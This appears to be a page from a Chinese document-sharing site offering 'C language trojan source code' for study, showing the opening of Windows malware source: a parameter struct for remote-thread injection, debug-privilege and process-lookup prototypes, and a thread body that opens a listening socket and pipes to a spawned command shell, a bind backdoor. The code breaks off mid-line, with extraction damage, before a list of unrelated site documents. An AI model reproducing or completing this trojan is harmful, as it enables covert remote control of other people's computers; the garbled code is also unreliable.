- 8
- 0
- 约8.68千字
- 约 7页
- 2023-05-12 发布于上海
- 举报
C 语言木马源码
很值得研究
#includewinsock2.h
#pragma comment(lib,ws2_32.lib) #includewindows.h
#include Shlwapi.h
#pragma comment(lib,Shlwapi.lib) #include tlhelp32.h
#include stdio.h #include string.h
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket;
DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv;
DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile;
DWORD dwCloseHandle; DWORD dwCreatePipe;
DWORD dwTerminateProcess; DWORD dwMessageBox;
char strMessageBox[12]; char winsockDll[16]; char cmd[10];
char Buff[4096]; char telnetmsg[60];
}RemotePara;
// 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName);
// 远程线程执行体
DWORD stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion; SOCKET listenSocket; SOCKET clientSocket;
struct sockaddr_in server_addr; struct sockaddr_in client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1; HANDLE hWritePipe1; HANDLE hReadPipe2; HANDLE hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation; unsigned long lBytesRead = 0;
typedef HINSTANCE ( stdcall *PLoadLibrary)(char*);
typedef FARPROC ( stdcall *PGetProcAddress)(HMODULE, LPCSTR); typedef HINSTANCE ( stdcall *PFreeLibrary)( HINSTANCE ); typedef HINSTANCE ( stdcall *PGetModuleHandle)(HMODULE);
FARPROC PMessageBoxA; FARPROC PWSAStartup; FARPROC PSocket; FARPROC Phtons; FARPROC Pbind;
FARPROC Plisten; FARPROC Paccept; FARPROC Psend; FARPROC Precv; FARPROC Pclosesocket;
FARPROC PCreateProcessA; FARPROC PPeekNamedPipe; FARPROC PWriteFile; FARPROC PReadFile; FARPROC PCloseHandle; FARPROC PCreatePipe;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary; PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAdd
您可能关注的文档
- coreldraw实例教案课程.docx
- Coulomb定律的成立条件适用范围及理论地位.docx
- cours de grammaire分析和总结分析和总结.docx
- cpa复习方法分析和总结.docx
- CPSM练习分析和总结.docx
- CPU选购技巧分析和总结.docx
- CPVC施工技术分析和总结.docx
- creo大装配管理分析和总结.docx
- CRH2型动车组专业的介绍.docx
- CRRT试题及答案2分析和总结.docx
- JJG 543-2026心电图机检定规程.pdf
- 《JJG 543-2026心电图机检定规程》.pdf
- GB/T 47045-2026乘用车车载信息优先级的确定方法.pdf
- 《GB/T 12668.2-2025调速电气传动系统 第2部分:一般要求 交流调速电气传动系统额定值的规定》.pdf
- 中国国家标准 GB/T 12668.2-2025调速电气传动系统 第2部分:一般要求 交流调速电气传动系统额定值的规定.pdf
- 中国国家标准 GB/T 31487.1-2025直流融冰装置 第1部分:系统设计.pdf
- GB/T 12668.2-2025调速电气传动系统 第2部分:一般要求 交流调速电气传动系统额定值的规定.pdf
- GB/T 31487.1-2025直流融冰装置 第1部分:系统设计.pdf
- 《GB/T 31487.1-2025直流融冰装置 第1部分:系统设计》.pdf
- 《GB/T 31418-2025道路交通信号控制系统术语》.pdf
原创力文档

文档评论(0)